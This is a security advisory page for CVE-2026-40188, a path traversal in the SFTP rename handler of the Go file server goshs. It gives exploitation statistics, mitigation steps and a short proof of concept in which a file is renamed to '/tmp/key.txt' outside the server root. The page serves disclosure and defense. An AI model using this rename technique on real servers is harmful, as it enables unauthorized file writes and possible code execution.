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HIGH severity

CVE-2026-40188 — goshs

HIGHFix: patrickhener/goshs@141c188

CVE-2026-40188 is a high-severity (CVSS 7.7) CWE-1314 vulnerability in github.com/patrickhener/goshs. The records list no fixed version yet; check the vendor advisory below and apply the mitigations in the meantime.

goshs is Missing Write Protection for Parametric Data Values

Also known asGHSA-2943-crp8-38xxGO-2026-4953
Published
Updated
Affected
1 pkg
Patched
See advisory
Exploits
None indexed
Exploitation data as of Nov 2, 2026 · OSV.dev, NVD, FIRST.org (EPSS)

Exploitation Status

Proof-of-concept exploit code exists

  • CISA’s SSVC triage found public proof-of-concept exploit code for this CVE, though no confirmed active exploitation.

Exploitation and automatability from CISA’s SSVC triage for CVE-2026-40188.

EPSS Exploitation Probability

via FIRST.org ↗
0.3%probability of exploitation in next 30 days
Lower Risk0.00%
Lower risk than most CVEs25th percentile — riskier than 25% of all scored CVEsHighest risk
0.00%0.30%0.59%0.89%0.0%0.3%May 26Sep 26Nov 26

Probability of exploitation in the next 30 days, from FIRST.org EPSS.

How urgent is this, really

Where this sits among everything scored

Real-World Exposure

1 pkg affected
🐹github.com/patrickhener/goshs

Real-time download stats are indexed for npm and PyPI packages. This vulnerability affects Go packages — download data is not available via public APIs for these ecosystems.

Description

Summary

The SFTP command rename sanitizes only the source path and not the destination, so it is possible to write outside of the root directory of the SFTP.

Details

Here is the issue:

// helper.go:155-215
func cmdFile(root string, r *sftp.Request, ip string, sftpServer *SFTPServer) error {
    fullPath, err := sanitizePath(r.Filepath, root)  // Source: SANITIZED
    if err != nil {
        return err
    }
    switch r.Method {
    // ...
    case "Rename":
        err := os.Rename(fullPath, r.Target)  // Destination: NOT SANITIZED!

PoC

To exploit just upload a file on the SFTP and rename it to a file with full path.

Currently no key.txt file inside /tmp

$ ls key.txt
ls: key.txt: No such file or directory

Start the SFTP server:

/tmp/sftp-server $ goshs -sftp -b 'user:user' -d .
WARNING[2026-04-02 20:00:18] upload-folder mode deactivated due to use of 'sftp' mode
WARNING[2026-04-02 20:00:18] There is a newer Version (v2.0.0-beta.3) of goshs available. Run --update to update goshs.
INFO   [2026-04-02 20:00:18] Starting SFTP server on port 0.0.0.0:2022
WARNING[2026-04-02 20:00:18] You are using basic auth without SSL. Your credentials will be transferred in cleartext. Consider using -s, too.
INFO   [2026-04-02 20:00:18] Using basic auth with user 'user' and password 'user'
INFO   [2026-04-02 20:00:18] Download embedded file at: /example.txt?embedded
INFO   [2026-04-02 20:00:18] Serving on interface lo0 bound to 127.0.0.1:8000
INFO   [2026-04-02 20:00:18] Serving on interface en0 bound to 192.168.68.51:8000
INFO   [2026-04-02 20:00:18] Serving HTTP from /tmp/sftp-server

Connect to the SFTP and uploading the file:

$ sftp -P 2022 user@localhost
user@localhost's password:
Connected to localhost.
sftp> put /Users/user/Downloads/key.txt
Uploading /Users/user/Downloads/key.txt to /tmp/sftp-server/key.txt
key.txt                                                                                                                                                   100%   15    40.9KB/s   00:00

The file is stored properly.

goshs log:

INFO   [2026-04-02 20:03:31] SFTP: [::1]:61742 - [Put] - "/tmp/sftp-server/key.txt"

Rename command with full path:

sftp> rename key.txt /tmp/key.txt

goshs log:

INFO   [2026-04-02 20:04:09] SFTP: [::1]:61742 - [Rename] - "/tmp/sftp-server/key.txt to /tmp/key.txt"

Key file is now in /tmp

$ ls key.txt
key.txt

Impact

This allows file write and can be used either for an RCE in form of overwrite an SSH key, or by overwriting a configuration etc.

Affected Packages

1 total
EcosystemPackageVulnerable rangeFix
🐹Gogithub.com/patrickhener/goshs≥ 1.0.7No fix

Affected Products

1 product · 4 configurations
Application
goshsgoshs
≥ 1.0.7 && < 2.0.0
1 version
2.0.0

Detection & mitigation playbook

Open-source dependency

  1. Detect

    Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for github.com/patrickhener/goshs, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.

  2. Remediation status

    The records we use list no patched version of github.com/patrickhener/goshs for CVE-2026-40188. Check the maintainer's advisory, and where your build allows, override or pin the dependency away from the vulnerable range.

  3. Mitigate without a patch

    If you can't upgrade right away: gate or disable the affected feature, validate untrusted input at the boundary, and avoid passing attacker-controlled data into the vulnerable path. O3's runtime protection blocks exploitation in production as an interim safeguard until the upgrade lands.

Frequently Asked Questions

### Summary The SFTP command rename sanitizes only the source path and not the destination, so it is possible to write outside of the root directory of the SFTP. ### Details Here is the issue: ```go // helper.go:155-215 func cmdFile(root string, r *sftp.Request, ip string, sftpServer *SFTPServer) error { fullPath, err := sanitizePath(r.Filepath, root) // Source: SANITIZED if err != nil { return err } switch r.Method { // ... case "Rename": err := os.Rename(fullPath, r.Target) // Destination: NOT SANITIZED! ``` ### PoC To exploit just upload a fil
O3 Security · Impact-Aware SCA

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CVE-2026-40188: goshs RCE (High 7.7)